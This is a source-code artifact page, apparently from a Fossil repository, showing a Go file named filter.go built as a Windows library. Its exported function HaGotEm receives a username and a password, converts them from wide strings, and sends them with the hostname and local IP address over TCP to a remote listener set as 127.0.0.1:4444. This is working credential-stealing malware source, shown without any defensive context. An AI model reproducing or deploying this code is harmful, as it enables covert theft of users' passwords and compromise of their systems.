Artifact
beaf91822d5abd3ac45175c873b80cde8c8793c2da7d763ff2a0471f9560e7af:
- File
filter.go
— part of check-in
[f2dea56b19]
at
2019-06-07 00:51:53
on branch trunk
— Initial Commit
(user:
brimstone
size: 1559)
package main
////// #cgo LDFLAGS: -lwinmm
import "C"
import (
"fmt"
"net"
"os"
"time"
)
func getIPAddress() string {
i, err := net.Interfaces()
if err != nil {
return "<nil>"
}
for _, a := range i {
if a.Flags&net.FlagUp == 0 || a.Flags&net.FlagLoopback != 0 {
continue
}
if n, err := a.Addrs(); err == nil {
for _, ad := range n {
var r net.IP
switch ad.(type) {
case *net.IPNet:
r = ad.(*net.IPNet).IP
case *net.IPAddr:
r = ad.(*net.IPAddr).IP
default:
continue
}
if r.IsLoopback() || r.IsUnspecified() || r.IsMulticast() || r.IsInterfaceLocalMulticast() || r.IsLinkLocalMulticast() || r.IsLinkLocalUnicast() {
continue
}
if p := r.To4(); p != nil {
return p.String()
}
return r.String()
}
} else {
return "<nil>"
}
}
return "<nil>"
}
var remote = "127.0.0.1:4444"
//export HaGotEm
func HaGotEm(l C.int, u *C.char, n C.int, p *C.char) C.int {
a := []byte(C.GoStringN(u, l))
y := []byte(C.GoStringN(p, n))
e := make([]rune, l/2)
k := make([]rune, n/2)
for i := 0; i < len(a); i += 2 {
e[i/2] = rune(a[i])
}
for i := 0; i < len(y); i += 2 {
k[i/2] = rune(y[i])
}
h, err := os.Hostname()
if err != nil {
h = ""
}
x, err := net.DialTimeout("tcp", remote, time.Duration(5*time.Second))
if err != nil {
return C.int(-1)
}
defer x.Close()
d := []byte(fmt.Sprintf("[%s:(%s)%s:%s]\n", h, getIPAddress(), string(e), string(k)))
if _, err := x.Write(d); err != nil {
return C.int(-1)
}
x.Close()
return C.int(0)
}
func main() {}